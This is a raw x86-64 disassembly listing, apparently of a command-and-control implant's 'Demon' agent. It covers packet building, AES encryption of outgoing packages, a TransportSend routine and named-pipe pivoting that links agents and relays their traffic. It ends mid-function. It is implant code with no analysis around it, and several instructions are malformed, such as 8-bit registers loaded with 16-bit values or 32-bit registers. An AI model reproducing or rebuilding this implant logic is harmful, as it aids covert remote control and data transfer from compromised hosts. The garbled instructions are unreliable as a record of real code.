    140018ae4 // align 0x10
    140018af0
    140018af0PackageDestroy:
    140018af0test rcx, rcx
    140018af3je 0x140018b86
    140018af9push rdi
    140018afapush rsi
    140018afbpush rbx
    140018afcmov rbx, rcx
    140018affsub rsp, 32
    140018b03mov rsi, [rip+0x13866]
    140018b0amov rax, [rsi+2242]
    140018b11
    140018b11loc_140018b11:
    140018b11test rax, rax
    140018b14je 0x140018b48
    140018b16cmp rax, rbx
    140018b19jne 0x140018b42
    140018b1badd rsp, 32
    140018b1flea r9, [rip+64186]
    140018b26mov r8l, 207
    140018b2cpop rbx
    140018b2dlea rdx, [rip+0x1449c]
    140018b34lea rcx, [rip+64222]
    140018b3bpop rsi
    140018b3cpop rdi
    140018b3djmp 0x140022e20
    140018b42
    140018b42loc_140018b42:
    140018b42mov rax, [rax+40]
    140018b46jmp 0x140018b11
    140018b48
    140018b48loc_140018b48:
    140018b48mov rdi, [rbx+8]
    140018b4ctest rdi, rdi
    140018b4fje 0x140018b67
    140018b51mov rcx, [rbx+16]
    140018b55rep stosb [rdi], al
    140018b57mov rcx, [rbx+8]
    140018b5bcall [rsi+940]
    140018b61xor eax, eax
    140018b63mov [rbx+8], rax
    140018b67
    140018b67loc_140018b67:
    140018b67mov rdi, rbx
    140018b6amov ecx, 48
    140018b6fxor eax, eax
    140018b71rep stosb [rdi], al
    140018b73mov rax, [rsi+940]
    140018b7aadd rsp, 32
    140018b7emov rcx, rbx
    140018b81pop rbx
    140018b82pop rsi
    140018b83pop rdi
    140018b84jmp rax
    140018b86
    140018b86loc_140018b86:
    140018b86ret
    140018af0
    140018b87
    140018b87 // align 0x10
    140018b90
    140018b90PackageTransmit:
    140018b90test rcx, rcx
    140018b93je 0x140018bc0
    140018b95mov rdx, [rip+0x137d4]
    140018b9cmov rax, [rdx+2242]
    140018ba3test rax, rax
    140018ba6jne 0x140018bb0
    140018ba8mov [rdx+2242], rcx
    140018bafret
    140018bb0
    140018bb0loc_140018bb0:
    140018bb0mov rdx, rax
    140018bb3mov rax, [rax+40]
    140018bb7test rax, rax
    140018bbajne 0x140018bb0
    140018bbcmov [rdx+40], rcx
    140018bc0
    140018bc0loc_140018bc0:
    140018bc0ret
    140018b90
    140018bc1
    140018bc1 // align 0x10
    140018bd0
    140018bd0PackageTransmitAll:
    140018bd0push r13
    140018bd2xor eax, eax
    140018bd4mov r13, rdx
    140018bd7push r12
    140018bd9push rbp
    140018bdamov rbp, rcx
    140018bddmov ecx, 64
    140018be2push rdi
    140018be3push rsi
    140018be4push rbx
    140018be5sub rsp, 296
    140018beclea rdi, [rsp+32]
    140018bf1lea r12, [rsp+32]
    140018bf6rep stosd [rdi], eax
    140018bf8mov rdi, [rip+0x13771]
    140018bffmov ecx, 1
    140018c04mov rbx, [rdi+2242]
    140018c0bcall PackageCreateWithMetaData
    140018c10mov rsi, rax
    140018c13
    140018c13loc_140018c13:
    140018c13test rbx, rbx
    140018c16je 0x140018c4e
    140018c18mov edx, [rbx+4]
    140018c1bmov rcx, rsi
    140018c1ecall PackageAddInt32
    140018c23mov edx, [rbx]
    140018c25mov rcx, rsi
    140018c28call PackageAddInt32
    140018c2dmov rdx, [rbx+8]
    140018c31mov r8, [rbx+16]
    140018c35mov rcx, rsi
    140018c38call PackageAddBytes
    140018c3dcmp [rsi+16], 0x300000
    140018c45mov [rbx+32], 1
    140018c4cjbe 0x140018cc6
    140018c4e
    140018c4eloc_140018c4e:
    140018c4emov eax, [rsi+16]
    140018c51mov rcx, [rsi+8]
    140018c55lea edx, [rax-4]
    140018c58call Int32ToBuffer
    140018c5dmov rdx, [rdi+284]
    140018c64mov r8, [rdi+292]
    140018c6bmov rcx, r12
    140018c6ecall AesInit
    140018c73mov rax, [rsi+16]
    140018c77mov rbx, [rsi+8]
    140018c7bmov rcx, r12
    140018c7elea r8, [rax-20]
    140018c82lea rdx, [rbx+20]
    140018c86call AesXCryptBuffer
    140018c8bmov rdx, [rsi+16]
    140018c8fmov rcx, [rsi+8]
    140018c93mov r8, rbp
    140018c96mov r9, r13
    140018c99call TransportSend
    140018c9emov ebp, eax
    140018ca0test eax, eax
    140018ca2jne 0x140018ccf
    140018ca4lea r9, [rip+63899]
    140018cabmov r8l, 362
    140018cb1lea rdx, [rip+0x13b78]
    140018cb8lea rcx, [rip+63834]
    140018cbfcall printf
    140018cc4jmp 0x140018cd4
    140018cc6
    140018cc6loc_140018cc6:
    140018cc6mov rbx, [rbx+40]
    140018ccajmp 0x140018c13
    140018ccf
    140018ccfloc_140018ccf:
    140018ccfmov ebp, 1
    140018cd4
    140018cd4loc_140018cd4:
    140018cd4mov rcx, [rsi+8]
    140018cd8mov rax, [rsi+16]
    140018cdclea rdx, [rcx+20]
    140018ce0lea r8, [rax-20]
    140018ce4mov rcx, r12
    140018ce7call AesXCryptBuffer
    140018cecmov rbx, [rdi+2242]
    140018cf3test ebp, ebp
    140018cf5je 0x140018d89
    140018cfb
    140018cfbloc_140018cfb:
    140018cfbxor r12l, r12l
    140018cfe
    140018cfeloc_140018cfe:
    140018cfetest rbx, rbx
    140018d01je 0x140018d99
    140018d07
    140018d07loc_140018d07:
    140018d07cmp [rbx+32], 0
    140018d0bje 0x140018d7d
    140018d0dcmp [rdi+2242], rbx
    140018d14jne 0x140018d38
    140018d16mov rax, [rbx+40]
    140018d1acmp [rbx+28], 0
    140018d1emov [rdi+2242], rax
    140018d25je 0x140018d2f
    140018d27mov rcx, rbx
    140018d2acall PackageDestroy
    140018d2f
    140018d2floc_140018d2f:
    140018d2fmov rbx, [rdi+2242]
    140018d36jmp 0x140018cfb
    140018d38
    140018d38loc_140018d38:
    140018d38test r12, r12
    140018d3bje 0x140018d5b
    140018d3dmov rax, [rbx+40]
    140018d41cmp [rbx+28], 0
    140018d45mov [r12+40], rax
    140018d4aje 0x140018d54
    140018d4cmov rcx, rbx
    140018d4fcall PackageDestroy
    140018d54
    140018d54loc_140018d54:
    140018d54mov rbx, [r12+40]
    140018d59jmp 0x140018cfe
    140018d5b
    140018d5bloc_140018d5b:
    140018d5blea r9, [rip+63755]
    140018d62mov r8l, 410
    140018d68lea rdx, [rip+0x13ac1]
    140018d6flea rcx, [rip+63651]
    140018d76call printf
    140018d7bjmp 0x140018d07
    140018d7d
    140018d7dloc_140018d7d:
    140018d7dmov r12, rbx
    140018d80mov rbx, [rbx+40]
    140018d84jmp 0x140018cfe
    140018d89
    140018d89loc_140018d89:
    140018d89test rbx, rbx
    140018d8cje 0x140018d99
    140018d8exor eax, eax
    140018d90mov [rbx+32], eax
    140018d93mov rbx, [rbx+40]
    140018d97jmp 0x140018d89
    140018d99
    140018d99loc_140018d99:
    140018d99mov rcx, rsi
    140018d9ccall PackageDestroy
    140018da1add rsp, 296
    140018da8mov eax, ebp
    140018daapop rbx
    140018dabpop rsi
    140018dacpop rdi
    140018dadpop rbp
    140018daepop r12
    140018db0pop r13
    140018db2ret
    140018bd0
    140018db3
    140018db3 // align 0x10
    140018dc0
    140018dc0PackageTransmitError:
    140018dc0push rdi
    140018dc1mov r9l, edx
    140018dc4mov r8l, 442
    140018dcamov edi, ecx
    140018dccpush rsi
    140018dcdlea rcx, [rip+63673]
    140018dd4mov esi, edx
    140018dd6lea rdx, [rip+0x13843]
    140018dddpush rbx
    140018ddesub rsp, 32
    140018de2call printf
    140018de7mov ecx, 91
    140018deccall PackageCreate
    140018df1mov edx, edi
    140018df3mov rbx, rax
    140018df6mov rcx, rax
    140018df9call PackageAddInt32
    140018dfemov rcx, rbx
    140018e01mov edx, esi
    140018e03call PackageAddInt32
    140018e08add rsp, 32
    140018e0cmov rcx, rbx
    140018e0fpop rbx
    140018e10pop rsi
    140018e11pop rdi
    140018e12jmp 0x140018b90
    140018dc0
    140018e17
    140018e17 // align 0x10
    140018e20
    140018e20PackageTransmitNow:
    140018e20push r13
    140018e22xor eax, eax
    140018e24push r12
    140018e26push rbp
    140018e27push rdi
    140018e28push rsi
    140018e29push rbx
    140018e2amov rbx, rcx
    140018e2dmov ecx, 64
    140018e32sub rsp, 296
    140018e39lea rdi, [rsp+32]
    140018e3erep stosd [rdi], eax
    140018e40test rbx, rbx
    140018e43je 0x140018f37
    140018e49mov rcx, [rbx+8]
    140018e4dtest rcx, rcx
    140018e50jne 0x140018e64
    140018e52lea r9, [rip+63444]
    140018e59mov r8l, 240
    140018e5fjmp 0x140018f44
    140018e64
    140018e64loc_140018e64:
    140018e64mov eax, [rbx+16]
    140018e67mov r12, rdx
    140018e6axor esi, esi
    140018e6cmov r13, r8
    140018e6flea rbp, [rsp+32]
    140018e74lea edx, [rax-4]
    140018e77call Int32ToBuffer
    140018e7ccmp [rbx+24], 0
    140018e80je 0x140018ec9
    140018e82cmp [rbx+4], 99
    140018e86mov eax, 20
    140018e8bmov esi, 68
    140018e90mov rcx, rbp
    140018e93cmovne rsi, rax
    140018e97mov rax, [rip+0x134d2]
    140018e9emov rdx, [rax+284]
    140018ea5mov r8, [rax+292]
    140018eaccall AesInit
    140018eb1mov rdx, [rbx+8]
    140018eb5mov r8, [rbx+16]
    140018eb9mov eax, esi
    140018ebbmov rcx, rbp
    140018ebeadd rdx, rax
    140018ec1sub r8, rax
    140018ec4call AesXCryptBuffer
    140018ec9
    140018ec9loc_140018ec9:
    140018ec9mov rdx, [rbx+16]
    140018ecdmov rcx, [rbx+8]
    140018ed1mov r9, r13
    140018ed4mov r8, r12
    140018ed7call TransportSend
    140018edcmov edi, eax
    140018edetest eax, eax
    140018ee0jne 0x140018f04
    140018ee2lea r9, [rip+63325]
    140018ee9mov r8l, 263
    140018eeflea rdx, [rip+0x13dca]
    140018ef6lea rcx, [rip+63260]
    140018efdcall printf
    140018f02jmp 0x140018f09
    140018f04
    140018f04loc_140018f04:
    140018f04mov edi, 1
    140018f09
    140018f09loc_140018f09:
    140018f09cmp [rbx+28], 0
    140018f0dje 0x140018f19
    140018f0fmov rcx, rbx
    140018f12call PackageDestroy
    140018f17jmp 0x140018f59
    140018f19
    140018f19loc_140018f19:
    140018f19cmp [rbx+24], 0
    140018f1dje 0x140018f59
    140018f1fmov r8, [rbx+16]
    140018f23mov rdx, [rbx+8]
    140018f27mov rcx, rbp
    140018f2aadd rdx, rsi
    140018f2dsub r8, rsi
    140018f30call AesXCryptBuffer
    140018f35jmp 0x140018f59
    140018f37
    140018f37loc_140018f37:
    140018f37lea r9, [rip+63262]
    140018f3emov r8l, 272
    140018f44
    140018f44loc_140018f44:
    140018f44lea rdx, [rip+0x13d75]
    140018f4blea rcx, [rip+63175]
    140018f52xor edi, edi
    140018f54call printf
    140018f59
    140018f59loc_140018f59:
    140018f59add rsp, 296
    140018f60mov eax, edi
    140018f62pop rbx
    140018f63pop rsi
    140018f64pop rdi
    140018f65pop rbp
    140018f66pop r12
    140018f68pop r13
    140018f6aret
    140018e20
    140018f6b
    140018f6b // align 0x10
    140018f70
    140018f70ParserDecrypt:
    140018f70push rdi
    140018f71xor eax, eax
    140018f73push rbx
    140018f74mov rbx, rcx
    140018f77mov ecx, 64
    140018f7csub rsp, 296
    140018f83lea rdi, [rsp+32]
    140018f88rep stosd [rdi], eax
    140018f8atest rbx, rbx
    140018f8dje 0x140018fac
    140018f8flea rdi, [rsp+32]
    140018f94mov rcx, rdi
    140018f97call AesInit
    140018f9cmov rdx, [rbx+8]
    140018fa0mov r8l, [rbx+20]
    140018fa4mov rcx, rdi
    140018fa7call AesXCryptBuffer
    140018fac
    140018facloc_140018fac:
    140018facadd rsp, 296
    140018fb3pop rbx
    140018fb4pop rdi
    140018fb5ret
    140018f70
    140018fb6
    140018fb6 // align 0x10
    140018fc0
    140018fc0ParserDestroy:
    140018fc0push rdi
    140018fc1push rbx
    140018fc2sub rsp, 40
    140018fc6mov rdi, [rcx]
    140018fc9test rdi, rdi
    140018fccje 0x140018ff1
    140018fcemov rbx, rcx
    140018fd1xor eax, eax
    140018fd3mov ecx, [rcx+16]
    140018fd6rep stosb [rdi], al
    140018fd8mov rax, [rip+0x13391]
    140018fdfmov rcx, [rbx]
    140018fe2call [rax+940]
    140018fe8xor eax, eax
    140018feamov [rbx], rax
    140018fedmov [rbx+8], rax
    140018ff1
    140018ff1loc_140018ff1:
    140018ff1add rsp, 40
    140018ff5pop rbx
    140018ff6pop rdi
    140018ff7ret
    140018fc0
    140018ff8
    140018ff8 // align 0x10
    140019000
    140019000ParserGetBool:
    140019000xor edx, edx
    140019002test rcx, rcx
    140019005je 0x14001902c
    140019007mov eax, [rcx+20]
    14001900acmp eax, 3
    14001900djbe 0x14001902c
    14001900fmov rdx, [rcx+8]
    140019013sub eax, 4
    140019016mov r8l, [rdx]
    140019019add rdx, 4
    14001901dmov [rcx+20], eax
    140019020mov [rcx+8], rdx
    140019024xor edx, edx
    140019026test r8l, r8l
    140019029setne dl
    14001902c
    14001902cloc_14001902c:
    14001902cmov eax, edx
    14001902eret
    140019000
    14001902f
    14001902f // align 0x10
    140019030
    140019030ParserGetByte:
    140019030mov eax, [rcx+20]
    140019033xor r8l, r8l
    140019036test eax, eax
    140019038je 0x14001904d
    14001903amov rdx, [rcx+8]
    14001903edec eax
    140019040mov r8b, [rdx]
    140019043inc rdx
    140019046mov [rcx+20], eax
    140019049mov [rcx+8], rdx
    14001904d
    14001904dloc_14001904d:
    14001904dmov eax, r8l
    140019050ret
    140019030
    140019051
    140019051 // align 0x10
    140019060
    140019060ParserGetBytes:
    140019060mov rax, rcx
    140019063test rcx, rcx
    140019066je 0x1400190a5
    140019068mov ecx, [rcx+20]
    14001906bcmp ecx, 3
    14001906ejbe 0x1400190a3
    140019070mov r8, [rax+8]
    140019074cmp [rax+28], 0
    140019078lea r9, [r8+4]
    14001907cmov r8l, [r8]
    14001907fje 0x140019084
    140019081bswap r8l
    140019084
    140019084loc_140019084:
    140019084sub ecx, 4
    140019087sub ecx, r8l
    14001908amov [rax+20], ecx
    14001908dmov ecx, r8l
    140019090add rcx, r9
    140019093mov [rax+8], rcx
    140019097test rdx, rdx
    14001909aje 0x14001909f
    14001909cmov [rdx], r8l
    14001909f
    14001909floc_14001909f:
    14001909fmov rax, r9
    1400190a2ret
    1400190a3
    1400190a3loc_1400190a3:
    1400190a3xor eax, eax
    1400190a5
    1400190a5loc_1400190a5:
    1400190a5ret
    140019060
    1400190a6
    1400190a6 // align 0x10
    1400190b0
    1400190b0ParserGetInt16:
    1400190b0mov eax, [rcx+20]
    1400190b3xor r8l, r8l
    1400190b6cmp eax, 1
    1400190b9jbe 0x1400190d1
    1400190bbmov rdx, [rcx+8]
    1400190bfsub eax, 2
    1400190c2mov r8w, [rdx]
    1400190c6add rdx, 2
    1400190camov [rcx+20], eax
    1400190cdmov [rcx+8], rdx
    1400190d1
    1400190d1loc_1400190d1:
    1400190d1mov eax, r8l
    1400190d4ret
    1400190b0
    1400190d5
    1400190d5 // align 0x10
    1400190e0
    1400190e0ParserGetInt32:
    1400190e0xor eax, eax
    1400190e2test rcx, rcx
    1400190e5je 0x140019111
    1400190e7mov edx, [rcx+20]
    1400190eacmp edx, 3
    1400190edjbe 0x140019111
    1400190efmov rax, [rcx+8]
    1400190f3sub edx, 4
    1400190f6mov r8l, [rax]
    1400190f9add rax, 4
    1400190fdcmp [rcx+28], 0
    140019101mov [rcx+20], edx
    140019104mov [rcx+8], rax
    140019108mov eax, r8l
    14001910bbswap eax
    14001910dcmove eax, r8l
    140019111
    140019111loc_140019111:
    140019111ret
    1400190e0
    140019112
    140019112 // align 0x10
    140019120
    140019120ParserGetInt64:
    140019120xor eax, eax
    140019122test rcx, rcx
    140019125je 0x140019152
    140019127mov edx, [rcx+20]
    14001912acmp edx, 7
    14001912djbe 0x140019152
    14001912fmov rax, [rcx+8]
    140019133sub edx, 8
    140019136mov r8, [rax]
    140019139add rax, 8
    14001913dcmp [rcx+28], 0
    140019141mov [rcx+20], edx
    140019144mov [rcx+8], rax
    140019148mov rax, r8
    14001914bbswap rax
    14001914ecmove rax, r8
    140019152
    140019152loc_140019152:
    140019152ret
    140019120
    140019153
    140019153 // align 0x10
    140019160
    140019160ParserGetString:
    140019160jmp 0x140019060
    140019160
    140019165
    140019165 // align 0x10
    140019170
    140019170ParserGetWString:
    140019170jmp 0x140019060
    140019170
    140019175
    140019175 // align 0x10
    140019180
    140019180ParserNew:
    140019180test rcx, rcx
    140019183je 0x1400191d3
    140019185push r12
    140019187mov r12l, r8l
    14001918apush rbp
    14001918bmov ebp, r8l
    14001918epush rdi
    14001918fpush rsi
    140019190mov rsi, rdx
    140019193mov rdx, r12
    140019196push rbx
    140019197mov rbx, rcx
    14001919amov ecx, 64
    14001919fsub rsp, 32
    1400191a3mov rax, [rip+0x131c6]
    1400191aacall [rax+932]
    1400191b0mov rcx, r12
    1400191b3mov [rbx], rax
    1400191b6mov rdi, rax
    1400191b9rep movsb [rdi], [rsi]
    1400191bbmov [rbx+20], ebp
    1400191bemov [rbx+16], ebp
    1400191c1mov rax, [rbx]
    1400191c4mov [rbx+8], rax
    1400191c8add rsp, 32
    1400191ccpop rbx
    1400191cdpop rsi
    1400191cepop rdi
    1400191cfpop rbp
    1400191d0pop r12
    1400191d2ret
    1400191d3
    1400191d3loc_1400191d3:
    1400191d3ret
    140019180
    1400191d4
    1400191d4 // align 0x10
    1400191e0
    1400191e0PipeWrite:
    1400191e0push rbp
    1400191e1xor r8l, r8l
    1400191e4push rdi
    1400191e5mov rdi, rcx
    1400191e8push rsi
    1400191e9xor esi, esi
    1400191ebpush rbx
    1400191ecmov rbx, rdx
    1400191efsub rsp, 72
    1400191f3mov [rsp+60], r8l
    1400191f8lea rbp, [rsp+60]
    1400191fd
    1400191fdloc_1400191fd:
    1400191fdmov eax, [rbx+8]
    140019200mov r8l, 65535
    140019206xor ecx, ecx
    140019208mov edx, esi
    14001920aadd rdx, [rbx]
    14001920dmov r9, rbp
    140019210mov [rsp+32], rcx
    140019215mov rcx, rdi
    140019218sub eax, esi
    14001921acmp eax, r8l
    14001921dcmovbe r8l, eax
    140019221mov rax, [rip+0x13148]
    140019228call [rax+876]
    14001922etest eax, eax
    140019230je 0x140019240
    140019232add esi, [rsp+60]
    140019236cmp esi, [rbx+8]
    140019239jb 0x1400191fd
    14001923bmov eax, 1
    140019240
    140019240loc_140019240:
    140019240add rsp, 72
    140019244pop rbx
    140019245pop rsi
    140019246pop rdi
    140019247pop rbp
    140019248ret
    1400191e0
    140019249
    140019249 // align 0x10
    140019250
    140019250PivotAdd:
    140019250push rbp
    140019251mov rbp, rsp
    140019254push r15
    140019256push r14
    140019258mov r14, rdx
    14001925bpush r13
    14001925dlea r13, [rip+0x13d7c]
    140019264push r12
    140019266mov rdx, r13
    140019269mov r12, r8
    14001926cmov r8l, 29
    140019272push rdi
    140019273push rsi
    140019274push rbx
    140019275and rsp, -16
    140019279sub rsp, 80
    14001927dmov rsi, [rcx]
    140019280mov r15, [rcx+8]
    140019284lea rcx, [rip+62767]
    14001928bmov r9, rsi
    14001928ecall printf
    140019293xor r8l, r8l
    140019296xor r9l, r9l
    140019299mov edx, 0xffffffffc0000000
    14001929emov rbx, [rip+0x130cb]
    1400192a5mov [rsp+48], r8
    1400192aamov rcx, rsi
    1400192adxor r8l, r8l
    1400192b0mov [rsp+40], r9l
    1400192b5xor r9l, r9l
    1400192b8mov [rsp+32], 3
    1400192c0call [rbx+812]
    1400192c6mov [rsp+72], rax
    1400192cbinc rax
    1400192cemov rax, [rbx+2230]
    1400192d5jne 0x1400192f2
    1400192d7mov r9l, [rax+104]
    1400192dbmov r8l, 35
    1400192e1mov rdx, r13
    1400192e4lea rcx, [rip+62718]
    1400192ebcall printf
    1400192f0jmp 0x14001930d
    1400192f2
    1400192f2loc_1400192f2:
    1400192f2cmp [rax+104], 231
    1400192f9jne 0x14001931d
    1400192fbmov edx, 5000
    140019300mov rcx, rsi
    140019303call [rbx+852]
    140019309test eax, eax
    14001930bjne 0x14001931d
    14001930d
    14001930dloc_14001930d:
    14001930dxor eax, eax
    14001930fjmp 0x14001949d
    140019314
    140019314loc_140019314:
    140019314mov r9l, [r12]
    140019318test r9l, r9l
    14001931bjne 0x140019345
    14001931d
    14001931dloc_14001931d:
    14001931dxor ecx, ecx
    14001931fxor r9l, r9l
    140019322xor r8l, r8l
    140019325xor edx, edx
    140019327mov [rsp+40], rcx
    14001932cmov rcx, [rsp+72]
    140019331mov [rsp+32], r12
    140019336call [rbx+860]
    14001933ctest eax, eax
    14001933ejne 0x140019314
    140019340jmp 0x140019459
    140019345
    140019345loc_140019345:
    140019345mov r8l, 54
    14001934bmov rdx, r13
    14001934elea rcx, [rip+62653]
    140019355call printf
    14001935amov edx, [r12]
    14001935emov ecx, 64
    140019363call [rbx+932]
    140019369mov ecx, [r12]
    14001936dmov [r14], rax
    140019370mov rdi, rax
    140019373xor eax, eax
    140019375rep stosb [rdi], al
    140019377xor edx, edx
    140019379mov rcx, [rsp+72]
    14001937emov r9, r12
    140019381mov [rsp+32], rdx
    140019386mov r8l, [r12]
    14001938amov rdx, [r14]
    14001938dcall [rbx+916]
    140019393test eax, eax
    140019395je 0x14001943c
    14001939bmov r9l, [r12]
    14001939fmov rdx, r13
    1400193a2mov r8l, 61
    1400193a8lea rcx, [rip+62596]
    1400193afcall printf
    1400193b4mov eax, [r12]
    1400193b8mov rdx, r13
    1400193bbmov r8l, 82
    1400193c1lea rcx, [rip+62609]
    1400193c8mov [rsp+32], eax
    1400193ccmov r9, [r14]
    1400193cfcall printf
    1400193d4mov edx, 40
    1400193d9mov ecx, 64
    1400193decall [rbx+932]
    1400193e4mov edx, [r12]
    1400193e8mov r12l, r15l
    1400193ebmov r13, rax
    1400193eemov rax, [rsp+72]
    1400193f3mov [r13+24], rax
    1400193f7xor eax, eax
    1400193f9mov [r13+32], rax
    1400193fdmov rcx, [r14]
    140019400call PivotParseDemonID
    140019405mov ecx, 64
    14001940amov rdx, r12
    14001940dmov [r13], eax
    140019411call [rbx+932]
    140019417mov [r13+16], r15l
    14001941bmov rcx, r12
    14001941emov [r13+8], rax
    140019422mov rdi, rax
    140019425rep movsb [rdi], [rsi]
    140019427mov rax, [rbx+2294]
    14001942etest rax, rax
    140019431jne 0x140019488
    140019433mov [rbx+2294], r13
    14001943ajmp 0x140019498
    14001943c
    14001943cloc_14001943c:
    14001943cmov rax, [rbx+2230]
    140019443mov r8l, 66
    140019449mov rdx, r13
    14001944clea rcx, [rip+62105]
    140019453mov r9l, [rax+104]
    140019457jmp 0x140019474
    140019459
    140019459loc_140019459:
    140019459mov rax, [rbx+2230]
    140019460mov r8l, 74
    140019466mov rdx, r13
    140019469lea rcx, [rip+62114]
    140019470mov r9l, [rax+104]
    140019474
    140019474loc_140019474:
    140019474call printf
    140019479mov rcx, [rsp+72]
    14001947ecall SysNtClose
    140019483jmp 0x14001930d
    140019488
    140019488loc_140019488:
    140019488mov rdx, rax
    14001948bmov rax, [rax+32]
    14001948ftest rax, rax
    140019492jne 0x140019488
    140019494mov [rdx+32], r13
    140019498
    140019498loc_140019498:
    140019498mov eax, 1
    14001949d
    14001949dloc_14001949d:
    14001949dlea rsp, [rbp-56]
    1400194a1pop rbx
    1400194a2pop rsi
    1400194a3pop rdi
    1400194a4pop r12
    1400194a6pop r13
    1400194a8pop r14
    1400194aapop r15
    1400194acpop rbp
    1400194adret
    140019250
    1400194ae
    1400194ae // align 0x10
    1400194b0
    1400194b0PivotGet:
    1400194b0mov rax, [rip+0x12eb9]
    1400194b7mov rax, [rax+2294]
    1400194be
    1400194beloc_1400194be:
    1400194betest rax, rax
    1400194c1je 0x1400194cd
    1400194c3cmp [rax], ecx
    1400194c5je 0x1400194cd
    1400194c7mov rax, [rax+32]
    1400194cbjmp 0x1400194be
    1400194cd
    1400194cdloc_1400194cd:
    1400194cdret
    1400194b0
    1400194ce
    1400194ce // align 0x10
    1400194d0
    1400194d0PivotParseDemonID:
    1400194d0push rdi
    1400194d1mov r9, rcx
    1400194d4xor eax, eax
    1400194d6mov ecx, 8
    1400194dbpush rsi
    1400194dcmov r8l, edx
    1400194dfmov rdx, r9
    1400194e2push rbx
    1400194e3sub rsp, 64
    1400194e7lea rbx, [rsp+32]
    1400194eclea rdi, [rsp+32]
    1400194f1rep stosd [rdi], eax
    1400194f3mov rcx, rbx
    1400194f6call ParserNew
    1400194fbmov rcx, rbx
    1400194fecall ParserGetInt32
    140019503mov rcx, rbx
    140019506call ParserGetInt32
    14001950bmov rcx, rbx
    14001950ecall ParserGetInt32
    140019513mov r8l, 335
    140019519lea rdx, [rip+0x13120]
    140019520lea rcx, [rip+62061]
    140019527bswap eax
    140019529mov r9l, eax
    14001952cmov esi, eax
    14001952ecall printf
    140019533mov rcx, rbx
    140019536call ParserDestroy
    14001953badd rsp, 64
    14001953fmov eax, esi
    140019541pop rbx
    140019542pop rsi
    140019543pop rdi
    140019544ret
    1400194d0
    140019545
    140019545 // align 0x10
    140019550
    140019550PivotPush:
    140019550push r15
    140019552xor r10l, r10l
    140019555push r14
    140019557lea r14, [rip+61838]
    14001955epush r13
    140019560push r12
    140019562push rbp
    140019563lea rbp, [rip+0x132e6]
    14001956apush rdi
    14001956bpush rsi
    14001956cpush rbx
    14001956dsub rsp, 72
    140019571mov rsi, [rip+0x12df8]
    140019578mov [rsp+56], r10l
    14001957dmov [rsp+60], r10l
    140019582mov rbx, [rsi+2294]
    140019589
    140019589loc_140019589:
    140019589test rbx, rbx
    14001958cje 0x140019790
    140019592cmp [rbx+24], 0
    140019597je 0x140019787
    14001959dmov r12l, 30
    1400195a3lea r13, [rsp+56]
    1400195a8
    1400195a8loc_1400195a8:
    1400195a8xor r9l, r9l
    1400195abmov rcx, [rbx+24]
    1400195afxor r8l, r8l
    1400195b2xor edx, edx
    1400195b4mov [rsp+40], r9
    1400195b9xor r9l, r9l
    1400195bcmov [rsp+32], r13
    1400195c1call [rsi+860]
    1400195c7test eax, eax
    1400195c9je 0x1400196ab
    1400195cfcmp [rsp+56], 3
    1400195d4jbe 0x140019787
    1400195daxor r8l, r8l
    1400195ddmov rcx, [rbx+24]
    1400195e1xor r9l, r9l
    1400195e4mov [rsp+32], r13
    1400195e9mov [rsp+40], r8
    1400195eelea rdx, [rsp+60]
    1400195f3mov r8l, 4
    1400195f9call [rsi+860]
    1400195fftest eax, eax
    140019601je 0x14001977e
    140019607mov edx, [rsp+60]
    14001960bmov ecx, 64
    140019610bswap edx
    140019612add edx, 4
    140019615mov [rsp+60], edx
    140019619call [rsi+932]
    14001961fmov rcx, [rbx+24]
    140019623mov r8l, [rsp+60]
    140019628mov r9, r13
    14001962bmov r15, rax
    14001962exor eax, eax
    140019630mov [rsp+32], rax
    140019635mov rdx, r15
    140019638call [rsi+916]
    14001963etest eax, eax
    140019640je 0x140019676
    140019642mov ecx, 2520
    140019647call PackageCreate
    14001964cmov edx, 12
    140019651mov rcx, rax
    140019654mov rdi, rax
    140019657call PackageAddInt32
    14001965cmov r8l, [rsp+56]
    140019661mov rcx, rdi
    140019664mov rdx, r15
    140019667call PackageAddBytes
    14001966cmov rcx, rdi
    14001966fcall PackageTransmit
    140019674jmp 0x140019692
    140019676
    140019676loc_140019676:
    140019676mov rax, [rsi+2230]
    14001967dmov r8l, 276
    140019683mov rdx, rbp
    140019686mov rcx, r14
    140019689mov r9l, [rax+104]
    14001968dcall printf
    140019692
    140019692loc_140019692:
    140019692mov ecx, [rsp+60]
    140019696mov rdi, r15
    140019699xor eax, eax
    14001969brep stosb [rdi], al
    14001969dmov rcx, r15
    1400196a0call [rsi+940]
    1400196a6jmp 0x14001977e
    1400196ab
    1400196abloc_1400196ab:
    1400196abmov rax, [rsi+2230]
    1400196b2mov rdx, rbp
    1400196b5mov r8l, 286
    1400196bblea rcx, [rip+61520]
    1400196c2mov r9l, [rax+104]
    1400196c6call printf
    1400196cbmov rax, [rsi+2230]
    1400196d2mov edx, [rax+104]
    1400196d5cmp edx, 109
    1400196d8jne 0x140019772
    1400196delea r9, [rip+61528]
    1400196e5mov r8l, 290
    1400196ebmov rdx, rbp
    1400196eelea rcx, [rip+61544]
    1400196f5call printf
    1400196famov r13l, [rbx]
    1400196fdmov rbx, [rbx+32]
    140019701mov ecx, r13l
    140019704call PivotRemove
    140019709lea r9, [rip+61393]
    140019710mov rdx, rbp
    140019713mov r8l, 296
    140019719test eax, eax
    14001971bmov edi, eax
    14001971dlea rax, [rip+61378]
    140019724cmove r9, rax
    140019728lea rcx, [rip+61506]
    14001972fcall printf
    140019734mov ecx, 2520
    140019739call PackageCreate
    14001973emov edx, 11
    140019743mov r12, rax
    140019746mov rcx, rax
    140019749call PackageAddInt32
    14001974emov edx, edi
    140019750mov rcx, r12
    140019753call PackageAddInt32
    140019758mov rcx, r12
    14001975bmov edx, r13l
    14001975ecall PackageAddInt32
    140019763mov rcx, r12
    140019766call PackageTransmit
    14001976btest rbx, rbx
    14001976eje 0x140019790
    140019770jmp 0x140019787
    140019772
    140019772loc_140019772:
    140019772mov ecx, 1
    140019777call PackageTransmitError
    14001977cjmp 0x140019787
    14001977e
    14001977eloc_14001977e:
    14001977edec r12l
    140019781jne 0x1400195a8
    140019787
    140019787loc_140019787:
    140019787mov rbx, [rbx+32]
    14001978bjmp 0x140019589
    140019790
    140019790loc_140019790:
    140019790add rsp, 72
    140019794pop rbx
    140019795pop rsi
    140019796pop rdi
    140019797pop rbp
    140019798pop r12
    14001979apop r13
    14001979cpop r14
    14001979epop r15
    1400197a0ret
    140019550
    1400197a1
    1400197a1 // align 0x10
    1400197b0
    1400197b0PivotRemove:
    1400197b0push rdi
    1400197b1mov r9l, ecx
    1400197b4mov edi, ecx
    1400197b6mov r8l, 141
    1400197bcpush rsi
    1400197bdlea rdx, [rip+0x1351c]
    1400197c4lea rcx, [rip+61173]
